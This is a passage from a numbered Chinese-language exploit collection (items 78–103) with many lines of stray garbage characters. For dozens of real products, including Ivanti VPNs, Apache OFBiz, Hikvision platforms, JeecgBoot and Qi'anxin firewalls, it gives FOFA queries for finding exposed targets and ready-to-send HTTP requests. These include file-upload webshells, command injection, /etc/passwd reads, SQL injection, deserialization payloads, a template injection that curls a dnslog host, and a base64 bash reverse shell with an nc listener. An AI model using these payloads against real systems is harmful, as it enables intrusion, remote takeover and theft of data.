User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
4 u5 N* N3 c. U' qConnection: close
: E9 Y! i  U" X: dContent-Length: 433
( {- H" i* v& o7 C" R' c3 dAccept: */*
) b+ p9 }% f: d1 n) L: MAccept-Encoding: gzip, deflate
: n! q# ~8 h7 q1 a5 d! wAccept-Language: zh-CN,zh;q=0.9
Content-Type: multipart/form-data; boundary=----------398jnjVTTlDVXHlE7yYnfwBoix
8 x& k$ W' ^# R0 X% z
------------398jnjVTTlDVXHlE7yYnfwBoix
Content-Disposition: form-data; name="folder"

3 e' l7 F- x3 q+ `, J/upload/udplog
; v& d. P! u8 U------------398jnjVTTlDVXHlE7yYnfwBoix
Content-Disposition: form-data; name="Filedata"; filename="1.aspx"
/ e) e. |( x3 y  T. B% rContent-Type: application/octet-stream
3 K1 t7 m; o' O
. F- s6 s3 T- q0 ?hello1234567
------------398jnjVTTlDVXHlE7yYnfwBoix
Content-Disposition: form-data; name="Upload"
8 k6 ]8 e$ @  @3 s# v( L
: p' p' w/ s# t) D, K' q7 \4 r7 USubmit Query
1 x2 {/ L- N$ b* x+ w6 O1 }2 O7 I------------398jnjVTTlDVXHlE7yYnfwBoix--
; e4 M4 j% u! R+ k, W3 O

* p8 |  m5 O( J: O3 e78. pkpmbs 建设工程质量监督系统 FileUpload.ashx 文件上传
FOFA：icon_hash="2001627082"
* f% k( d" h. J" rPOST /Platform/System/FileUpload.ashx HTTP/1.1
" r$ @& d6 n' G) S& hHost: x.x.x.x
  q& i( [, c3 |( D' N0 FUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
% y- \% v, b- c7 T* [) ]( mConnection: close
Content-Length: 336
Accept-Encoding: gzip
Content-Type: multipart/form-data; boundary=----YsOxWxSvj1KyZow1PTsh98fdu6l

. g& O& m% I% j------YsOxWxSvj1KyZow1PTsh98fdu6l
! V7 e8 D) i5 T% c# \$ f9 e8 WContent-Disposition: form-data; name="file"; filename="YsOxWxSvj1KyZow1PTsh98fdu6l.txt"
Content-Type: image/png
. s' q" u; P: p! w' E* m
YsOxWxSvj1KyZow1PTsh98fdu6l
------YsOxWxSvj1KyZow1PTsh98fdu6l
Content-Disposition: form-data; name="target"
, Q* v" h9 r5 b, _
/Applications/SkillDevelopAndEHS/
------YsOxWxSvj1KyZow1PTsh98fdu6l--
  [# z$ h" H+ s" P$ g

GET /Applications/SkillDevelopAndEHS/YsOxWxSvj1KyZow1PTsh98fdu6l.txt HTTP/1.1
Host: x.x.x.x
+ h* S/ W  V$ C5 c  V
% D& D1 F$ N& J" X; H
79. BYTEVALUE 百为流控路由器远程命令执行
# a( g5 x4 o: b. D: p5 |FOFA：BYTEVALUE 智能流控路由器
+ o% `: [& h( @8 p$ R4 v* DGET /goform/webRead/open/?path=|id HTTP/1.1
2 z& L, F& v2 jHost:IP
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
* u$ W- B& M: J' H8 N) WAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
" m. v. {9 q- [2 E' `; @Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
" Z; Q( E2 N9 g4 x7 I6 tUpgrade-Insecure-Requests: 1
' n; B5 p/ c  H' E$ Q9 y4 V
( O, `, l0 q" G! R, p
1 |) s* N* h2 u1 {9 O& X0 `# H80. 速达天耀软件DesignReportSave.jsp接口存在任意文件上传
. Z, V- v( [; x- kFOFA：app="速达软件-公司产品"
- r5 i5 u# r$ v( k! Z# j4 XPOST /report/DesignReportSave.jsp?report=../xykqmfxpoas.jsp HTTP/1.1
Host: x.x.x.x
. w( M7 n6 B: p* E6 XUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
3 h% B; f- u4 A& X2 N* [Content-Length: 27
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
% b$ m$ [! M$ @8 c* ^( XAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
  F% W6 D) V3 O* B' p0 t3 |/ L% H! @Connection: close
Content-Type: application/octet-stream
. f' n' W* P- x- S0 TUpgrade-Insecure-Requests: 1
" ~1 D- i8 ~! p$ S6 J& D
; [9 o" I4 u1 B0 J6 B  Q; Y8 P/ U<% out.print("oessqeonylzaf");%>


GET /xykqmfxpoas.jsp HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
# l$ m) f. Y. DConnection: close
! L1 _/ F( K* LAccept-Encoding: gzip


81. 宇视科技视频监控宇视(Uniview)main-cgi密码泄露
& D/ C9 }; X$ ?" x) g/ qFOFA：app="uniview-视频监控"
GET /cgi-bin/main-cgi?json={"cmd":255,"szUserName":"","u32UserLoginHandle":-1} HTTP/1.1
7 |" H' C7 E7 l. G8 C% jHost: x.x.x.x
  v3 j" \- K2 G+ jUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
Accept-Encoding: gzip


# W3 o: X% V# ]9 Q5 X+ p82. 思福迪LOGBASE运维安全管理系统 test_qrcode_b 远程命令执行
* y6 Y- P' E9 e( nFOFA：app="思福迪-LOGBASE"
# k- I! g& l. {- G6 j6 u4 YPOST /bhost/test_qrcode_b HTTP/1.1
, p* e" x& [( y% [Host: BaseURL
" Q: r3 y* a$ I! q. ]User-Agent: Go-http-client/1.1
/ z# ~0 h3 y1 n; |+ K' W0 mContent-Length: 23
Accept-Encoding: gzip
Connection: close
Content-Type: application/x-www-form-urlencoded
Referer: BaseURL
1 @4 h# }% I6 T, C: Q
z1=1&z2="|id;"&z3=bhost
) v/ R! y% n- m0 x
- \: T- {) q; `
$ k, L, g9 }  f83. JeecgBoot testConnection 远程命令执行
FOFA：title=="JeecgBoot 企业级低代码平台"
9 h7 o# x$ @9 r2 J  l5 T" e

9 U" ^) b9 c0 {* j+ JPOST /jmreport/testConnection HTTP/1.1
' I8 ]) Y& Y) e# `Host: x.x.x.x
. @2 |. v) P9 u+ [User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
( |' l  S3 D1 i$ k- pConnection: close
Content-Length: 8881
Accept-Encoding: gzip
Cmd: echo "2ZTvHsq4au3uOQ2mK9OuJb86rdO"
! y9 l. U2 e5 QContent-Type: application/json
2 ^; p2 S1 s6 b; o0 J9 Q
PAYLOAD

84. Jeecg-Boot JimuReport queryFieldBySql 模板注入
! h  M( O0 V0 X6 j5 n! v& hFOFA：title=="JeecgBoot 企业级低代码平台"



POST /jeecg-boot/jmreport/queryFieldBySql HTTP/1.1
1 j6 a% D2 b0 O! BHost: 192.168.40.130:8080
User-Agent: curl/7.88.1
) a% h  |0 c) _1 C7 s5 f! wContent-Length: 156
9 M' H7 M: K. T4 o" c' e0 F# ZAccept: */*
Connection: close
$ s, f; I5 X, ]' _; J  n+ vContent-Type: application/json
Accept-Encoding: gzip

{
/ \9 S* ?' W5 |( @: U "sql": "<#assign ex=\"freemarker.template.utility.Execute\"?new()>${ex(\"curl http://ip.port.kr9dqoau.dnslog.pw/`whoami\")}",
  "type": "0"
: q+ z6 l8 D: i: z4 L}
' P; Y' a, d4 H: ]! H! C5 |4 s2 n

, I7 a* `: r% `  M4 o  r85. SysAid On-premise< 23.3.36远程代码执行
+ v8 I. B+ d, {% P1 E" j& \/ sCVE-2023-47246
FOFA：body="sysaid-logo-dark-green.png"
EXP数据包如下，注入哥斯拉马
POST /userentry?accountId=../../../tomcat/webapps&symbolName=LDAP_REFRESH_ HTTP/1.1
1 x5 M+ [; V3 X, M0 @Host: x.x.x.x
; e: v1 d8 u. {$ o; ZUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
. Z5 d& ~  N6 u4 o0 [+ ~Content-Type: application/octet-stream
Accept-Encoding: gzip
; |% v9 ]. r% D! r! v4 i- b& }& L
. c" W4 Q& T2 G: W7 ^, o* VPAYLOAD

回显URL：http://x.x.x.x/userfiles/index.jsp

$ z; N2 K! Y; i7 G* E2 j! Y+ u4 Z86. 日本tosei自助洗衣机RCE
& B4 D5 M0 S: K9 }, ]# v4 e. fFOFA：body="tosei_login_check.php"
POST /cgi-bin/network_test.php HTTP/1.1
1 ?8 e2 {, ]: Z$ l: LHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1866.237 Safari/537.36
Connection: close
Content-Length: 44
Accept: */*
Accept-Encoding: gzip
Accept-Language: en
- |+ ]! |9 W8 B' J' QContent-Type: application/x-www-form-urlencoded
! R4 H0 @/ [, c$ |0 n2 A, ]$ H/ A
" Y" x1 o  ]! O" }6 D, fhost=%0acat${IFS}/etc/passwd%0a&command=ping

' F7 r, ^  `  F9 j! A
87. 安恒明御安全网关aaa_local_web_preview文件上传
FOFA：title="明御安全网关"
POST /webui/?g=aaa_local_web_preview&name=123&read=0&suffix=/../../../jfhatuwe.php HTTP/1.1
0 W- ]7 w$ I! K- XHost: X.X.X.X
+ S# D4 p- e/ V6 P4 O+ QUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
Content-Length: 198
Accept-Encoding: gzip
* ?8 C% q$ E" o" Z1 c* o; E" VContent-Type: multipart/form-data; boundary=qqobiandqgawlxodfiisporjwravxtvd
7 d/ F1 n* [+ o; f* Q& ~6 C3 ^
--qqobiandqgawlxodfiisporjwravxtvd
$ A+ \# [1 x6 K& U  RContent-Disposition: form-data; name="123"; filename="9B9Ccd.php"
Content-Type: text/plain
- U) L6 b6 s4 m* {
, D5 Y7 x$ e! s3 v( p3 [2ZqGNnsjzzU2GBBPyd8AIA7QlDq
1 V% R' s6 b, F: W$ C--qqobiandqgawlxodfiisporjwravxtvd--
6 U, B, I  N" f$ u* b

/jfhatuwe.php
+ q7 N2 c3 p' C' C
88. 安恒明御安全网关 aaa_portal_auth_config_reset 远程命令执行
$ s0 i% |# N' W- W2 j- \) |- _FOFA：title="明御安全网关"
8 i( k% e+ q* ]4 m8 tGET /webui/?g=aaa_portal_auth_config_reset&type=%0aecho%20%27%3C%3Fphp%20echo%20%22assdwdmpidmsbzoabahpjhnokiduw%22%3B%20phpinfo%28%29%3B%20%3F%3E%27%20%3E%3E%20%2Fusr%2Flocal%2Fwebui%2Ftxzfsrur.php%0a HTTP/1.1
Host: x.x.x.xx.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
' S, s1 E$ B; s- CAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
# V- b' t6 s0 W" V! F" ^% \
$ D9 ~0 i+ G; W6 _9 T
/astdfkhl.php
* M- B) C. i' X) D! S+ e
89. 致远互联FE协作办公平台editflow_manager存在sql注入
FOFA：title="FE协作办公平台" || body="li_plugins_download"
POST /sysform/003/editflow_manager.js%70 HTTP/1.1
& V* Q8 O4 r3 o" w$ i+ z# k( r; N% JHost: x.x.x.x
4 H' B4 n; l# P$ pUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
& S, B0 I& Y# V7 M* JConnection: close
Content-Length: 41
6 E( L- b2 x) Y9 Q0 u- MContent-Type: application/x-www-form-urlencoded
1 L' v' u, B& Z, ?  I. Y4 ~* |Accept-Encoding: gzip
9 V2 Z! M; z2 g9 `) s
: b% A7 }3 ~5 Z- T, k+ poption=2&GUID=-1'+union+select+111*222--+


' S9 O. @; x3 @% y( ^* D90. 海康威视IP网络对讲广播系统3.0.3_20201113_RELEASE远程命令执行
# g: G( |5 F0 S0 V7 E" |FOFA：icon_hash="-1830859634"
' j- [, w- m! L7 IPOST /php/ping.php HTTP/1.1
5 J, b/ b1 `: Y) l% Z0 Y1 uHost: x.x.x.x
3 R# |5 S6 F8 c" WUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
' G9 ?- b- q7 y, w4 Q0 |  \Content-Length: 51
Accept: application/json, text/javascript, */*; q=0.01
. I7 i5 |* U  w* C, zAccept-Encoding: gzip, deflate
, X; @8 M6 a( c% k/ o! \Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
; q& d* O* F! jContent-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest

% f3 S) L$ }' x* }! P5 ujsondata%5Btype%5D=99&jsondata%5Bip%5D=ipconfig


& j+ }& l( q/ L% Y4 U91. 海康威视综合安防管理平台orgManage/v1/orgs/download任意文件读取
FOFA：title="综合安防管理平台"
GET /center/api/task/..;/orgManage/v1/orgs/download?fileName=../../../../../../../etc/passwd HTTP/1.1
2 G! x8 Y, i, M* GHost: your-ip
7 J' K, I! Y! q5 HUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
0 _* a* |3 y1 E6 G6 h& DAccept-Encoding: gzip, deflate
+ n/ j* \6 T+ Y2 D8 xAccept: */*
2 a8 D+ s  H2 k9 c" ]* LConnection: keep-alive

. Y5 W1 K  U3 W- G' N% e; ?6 K
- q5 I& V' d4 j( c$ h3 i1 G
/ j. {4 y0 C7 m2 a92. 海康威视运行管理中心session命令执行
Fastjson命令执行
hunter：web.icon=="e05b47d5ce11d2f4182a964255870b76"
# a2 v/ {1 C' [# N0 D# p1 RPOST /center/api/session HTTP/1.1
Host:
Accept: application/json, text/plain, */*
Accept-Encoding: gzip, deflate
, r4 U8 E: s- FX-Requested-With: XMLHttpRequest
, f3 E" z8 w& _0 a6 `4 SContent-Type: application/json;charset=UTF-8
X-Language-Type: zh_CN
$ X1 m% i7 U! a4 H' R3 uTestcmd: echo test
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X -1_0_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
Accept-Language: zh-CN,zh;q=0.9
Content-Length: 5778
! S+ D) O, \" N% A
; g& T7 K1 B$ TPAYLOAD

6 J- T0 T8 m; w* R5 h
93. 奇安信网神SecGate3600防火墙app_av_import_save任意文件上传
! ^1 }; ^% z7 Q) EFOFA：fid="1Lh1LHi6yfkhiO83I59AYg=="
5 `# r9 ^: Q2 z: gPOST /?g=app_av_import_save HTTP/1.1
8 n# ]0 q( N. H, V2 v5 H+ Q1 lHost: x.x.x.x
( ~( L, t8 w1 {* }" r' D) K& o4 F/ t9 _0 GContent-Type: multipart/form-data; boundary=----WebKitFormBoundarykcbkgdfx
9 o/ ^; ?  i7 ?: j2 ]User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
9 W; N3 c/ i+ y2 }" Z: e
------WebKitFormBoundarykcbkgdfx
Content-Disposition: form-data; name="MAX_FILE_SIZE"
. o/ D+ M# _6 t& z% w
" \+ B% Z5 c6 ^7 a+ v. F9 D5 V( A10000000
3 w; k) t6 n" X  p------WebKitFormBoundarykcbkgdfx
Content-Disposition: form-data; name="upfile"; filename="xlskxknxa.txt"
Content-Type: text/plain

wagletqrkwrddkthtulxsqrphulnknxa
: g- T8 R" k  c/ B4 @/ j------WebKitFormBoundarykcbkgdfx
Content-Disposition: form-data; name="submit_post"

obj_app_upfile
" M, v! t- H3 }------WebKitFormBoundarykcbkgdfx
Content-Disposition: form-data; name="__hash__"
9 {& u" b# d& Q. E, y. q; d, Y
% {! c$ v% d6 ~0b9d6b1ab7479ab69d9f71b05e0e9445
------WebKitFormBoundarykcbkgdfx--
2 V0 H& e4 J9 Y' ]# W7 i7 `

GET /attachements/xlskxknxa.txt HTTP/1.1
. Z; C/ U" K) |6 W: QHost: xx.xx.xx.xx
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
8 {2 }. Y& H7 ^4 e6 B) X8 L6 ~/ s
. F; ^. o+ ?' i( ^' {
5 m5 q8 x* X& n. ^; }94. 奇安信网神SecGate3600防火墙obj_area_import_save任意文件上传
FOFA：fid="1Lh1LHi6yfkhiO83I59AYg=="
POST /?g=obj_area_import_save HTTP/1.1
" E# J, d7 }0 [. {8 kHost: x.x.x.x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarybqvzqvmt
8 Y9 ?$ d+ ~: e5 |9 x; j% ZUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36

$ o9 v  m' m! G------WebKitFormBoundarybqvzqvmt
Content-Disposition: form-data; name="MAX_FILE_SIZE"
* m+ I4 n6 F$ D! k# @5 r( J" V
10000000
------WebKitFormBoundarybqvzqvmt
Content-Disposition: form-data; name="upfile"; filename="cciytdzu.txt"
/ {9 a, G/ }4 O- k- E  gContent-Type: text/plain

pxplitttsrjnyoafavcajwkvhxindhmu
------WebKitFormBoundarybqvzqvmt
Content-Disposition: form-data; name="submit_post"
+ [7 _4 b* e& n/ q
obj_app_upfile
# G8 S: [, r9 `$ ]------WebKitFormBoundarybqvzqvmt
1 f+ z" ]: m" ]& yContent-Disposition: form-data; name="__hash__"
) g, E8 m$ h/ A; }
9 c" `6 c% a9 v3 a+ O0b9d6b1ab7479ab69d9f71b05e0e9445
2 L; M' q- H! m------WebKitFormBoundarybqvzqvmt--
4 K# B2 k/ L8 O% o" h


GET /attachements/xlskxknxa.txt HTTP/1.1
Host: xx.xx.xx.xx
3 G7 G- ]( D, Q6 W9 q* T' IUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36

. x. \& H. A. L& t8 W# U/ Q
& h4 P; \) H( ?- v: ]2 z
6 s: \* ~: V$ P4 Z95. Apache-OFBiz < 18.12.10 xmlrpc远程代码执行
# g) S% }9 e' l& Y% B% c3 xCVE-2023-49070
FOFA：app="Apache_OFBiz"
POST /webtools/control/xmlrpc;/?USERNAME&PASSWORD=s&requirePasswordChange=Y HTTP/1.1
* ~+ U! {; @; ^5 N+ xHost: x.x.x.x
6 S# g8 `+ X( f. k. e5 QUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
8 K$ B2 N, p7 b1 EConnection: close
3 h- G) p# }. ]* w9 F& zContent-Length: 889
; S& y% T; [+ N# ^7 y& GContent-Type: application/xml
Accept-Encoding: gzip

<?xml version="1.0"?>
<methodCall>
   <methodName>2a4UTp2XBzXgziEO3BIFOCbJiI3</methodName>
    <params>
/ v  n7 V) @7 h. O- ^5 X      <param>
; w) p# }, K9 I" v2 k! z. p      <value>
        <struct>
* z" q% l' w; L" q  B" G! X       <member>
          <name>test</name>
          <value>
      <serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">[payload的base64值]</serializable>
          </value>
        </member>
" e3 o0 x* o4 [      </struct>
, w( U" i9 ?9 f: R2 b0 ]+ T      </value>
    </param>
    </params>
</methodCall>
0 t. f) p: i, I2 q- I4 N# \

用ysoserial生成payload
- e$ N: d6 u$ C, pjava -jar ysoserial-all.jar CommonsBeanutils1 "ping 41e87zy3.dnslog.pw" | base64 | tr -d "\n"

# S+ @" h: T- V' z9 ], L
* j4 t( H7 U) E+ c5 X; F将生成的payload替换到上面的POC
POST /webtools/control/xmlrpc;/?USERNAME&PASSWORD=s&requirePasswordChange=Y HTTP/1.1
1 F# D" w5 _/ x7 p) l+ S% H; mHost: 192.168.40.130:8443
( a/ B  P2 O4 oUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
* D. z0 C% d" E$ F6 VConnection: close
Content-Length: 889
Content-Type: application/xml
0 U" ]+ U. i4 D2 D: w. Q6 B" v' xAccept-Encoding: gzip

: r; y& m  S  L  M1 o+ w% BPAYLOAD
4 w+ t6 t+ L. z% B% L% q, b2 X
96. Apache OFBiz  18.12.11 groovy 远程代码执行
3 Q2 x) ~4 L6 `# BFOFA：app="Apache_OFBiz"
0 d1 l2 b! r4 I+ e$ ^8 `/ V. UPOST /webtools/control/ProgramExport/?USERNAME=&PASSWORD=&requirePasswordChange=Y HTTP/1.1
; _$ Q* z% i0 r. tHost: localhost:8443
' w7 L) U3 }+ Y6 bUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
+ [% ]( o6 q8 U" _Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
  `% w% Y3 X; }+ ?% CContent-Type: application/x-www-form-urlencoded
, h6 c# l. V5 K! G* B* y/ t# M5 AContent-Length: 55

5 h/ L' f* R; g8 R* h( [1 E! NgroovyProgram=throw+new+Exception('id'.execute().text);
! l; F% [  v, T  t  n
' [" P* n( Q8 F1 {& R
反弹shell
在kali上启动一个监听
0 J3 d- X: ~1 h% {nc -lvp 7777
; G4 G3 N$ S: N- e  I
POST /webtools/control/ProgramExport/?USERNAME=&PASSWORD=&requirePasswordChange=Y HTTP/1.1
( ^- u* d8 E; s0 Q9 D& zHost: 192.168.40.130:8443
, x9 z+ S" o) i; L: X; r& IUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
( q* N  ?! U1 u2 g) l7 s7 I6 zAccept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
6 ~/ y9 `# q- I6 Q7 }: x5 p4 V+ NContent-Type: application/x-www-form-urlencoded
Content-Length: 71

groovyProgram='bash+-c+{echo,YmFzaCUyMC1pJTIwPiYlMjAvZGV2L3RjcC8xOTIuMTY4LjQwLjEyOC83Nzc3JTIwMD4mMQ==}|{base64,-d}|{bash,-i}'.execute();

% c/ W1 w% O- t) q1 ]97. OneBlog v2.2.2 博客Shiro反序列化远程命令执行
FOFA：body="/assets/js/zhyd.tool.js" || body="OneBlog,开源博客"
. v" k8 B1 M: a1 [GET /passport/login/ HTTP/1.1
+ Z: Y# a$ [" X3 D2 pHost: 192.168.40.130:8085
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
) O. Y0 l0 k; W, qAccept-Encoding: gzip
$ ]6 v4 K  X- G, }Connection: close
Cookie: rememberMe=PAYLOAD
X-Token-Data: echo "2a4MU6FVYI3qR4AWxn1Bdfh6Ttk"
- Z# c$ S5 G$ g0 T

98. SpiderFlow爬虫平台远程命令执行
* k( G) i1 k$ W3 F) ]  ]CVE-2024-0195
FOFA：app="SpiderFlow"
5 [6 W- s) Y7 CPOST /function/save HTTP/1.1
Host: 192.168.40.130:8088
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Connection: close
Content-Length: 121
) m6 P; W0 z0 VAccept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
6 i2 A3 m. ^& s. U
2 Y! |1 y$ M# @# }id=1&name=cmd&parameter=rce&script=%7DJava.type('java.lang.Runtime').getRuntime().exec('ping+a4xs0nop.dnslog.pw')%3B%7B
. o6 s) c) ?" h

99. Ncast盈可视高清智能录播系统busiFacade RCE
CVE-2024-0305
% a7 z: i) }0 ~; QFOFA：app="Ncast-产品" && title=="高清智能录播系统"
POST /classes/common/busiFacade.php HTTP/1.1
Host: 192.168.40.130:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Connection: close
Content-Length: 154
Accept: */*
8 H" m" @5 s* [3 [  @2 q) kAccept-Encoding: gzip, deflate
# f+ V3 k1 V2 V3 c* n( r1 ^' N! hAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest

3 a% l+ r3 T( ]- M( ~%7B%22name%22:%22ping%22,%22serviceName%22:%22SysManager%22,%22userTransaction%22:false,%22param%22:%5B%22ping%20127.0.0.1%20%7C%20echo%20hello%22%5D%7D
5 ]/ {  a* G; I
- n" b  L7 z: T$ r" U. J% O% q
100. Likeshop 2.5.7.20210311 File.php userFormImage 文件上传
- J) z, L5 [4 T0 h1 q0 jCVE-2024-0352
6 e* ?; \* L9 m" p) F+ Z# {; UFOFA：icon_hash="874152924"
POST /api/file/formimage HTTP/1.1
Host: 192.168.40.130
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36
1 z  E; N* l# H0 k6 a7 ]1 gConnection: close
Content-Length: 201
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarygcflwtei
; I3 z6 o1 S% F: v3 ]( q6 wAccept-Encoding: gzip
$ A" C7 y0 c( g/ l
------WebKitFormBoundarygcflwtei
$ _, S: S  K9 j- s9 DContent-Disposition: form-data; name="file";filename="IE4MGP.php"
9 ]4 z/ |. b# o8 FContent-Type: application/x-php
3 v; e7 H- F/ n9 k) o1 N$ Q8 |) U
2ayyhRXiAsKXL8olvF5s4qqyI2O
6 x6 p' ^8 X9 t1 M1 b5 }7 j3 c------WebKitFormBoundarygcflwtei--
+ P, p4 K1 e( H5 m$ X
, J3 U' U+ Y4 Y) j6 Q
101. ivanti policy secure-22.6命令注入
6 Y2 _( b7 j, k$ UCVE-2024-21887
FOFA：body="welcome.cgi?p=logo"
3 ~4 [2 B2 t4 r0 Y8 ?GET /api/v1/totp/user-backup-code/../../license/keys-status/%3bcurl%20a4xs0nop.dnslog.pw HTTP/1.1
Host: x.x.x.xx.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
Connection: close
Accept-Encoding: gzip
5 F5 V, B$ T& @6 B1 M) D! D/ J
( A7 W8 {2 ?% K& Z
102. Ivanti Pulse Connect Secure VPN SSRF致远程代码执行
CVE-2024-21893
7 }, G6 k; h: w$ _; f. {FOFA：body="welcome.cgi?p=logo"
) z) J: @7 x2 E, ZPOST /dana-ws/saml20.ws HTTP/1.1
8 l" g( V' O( T* ~+ hHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
9 |8 c4 K3 E* _5 qConnection: close
- [% O* I+ y5 s' z( T2 w1 t3 TContent-Length: 792
" s) }2 P$ V% _& n" zAccept-Encoding: gzip

<?xml version="1.0" encoding="UTF-8"?><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body>             <ds:Signature           xmlns:ds="http://www.w3.org/2000/09/xmldsig#">                   <ds:SignedInfo>                        <ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-cc14n#"/>                         <ds:SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"/>                    </ds:SignedInfo>                       <<ds:SignatureValue>qwerty</ds:SignatureValue>                    <ds:KeyInfo xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.w3.org/22000/09/xmldsig" xmlns:ds="http://www.w3.org/2000/09/xmldsig#">                         <ds:RetrievalMethod URI="http://kr9dqoau.dnslog.pw"/><<ds:X509Data/>                   </ds:KeyInfo>                  <ds:Object></ds:Object>         </ds:Signature> </soap:Body></soap:Envelope>

103. Ivanti Pulse Connect Secure VPN XXE
4 B4 O! B3 ~; O3 B0 `" E: jCVE-2024-22024
! m) m- o2 B$ T' h) v; q3 u2 xFOFA：body="welcome.cgi?p=logo"
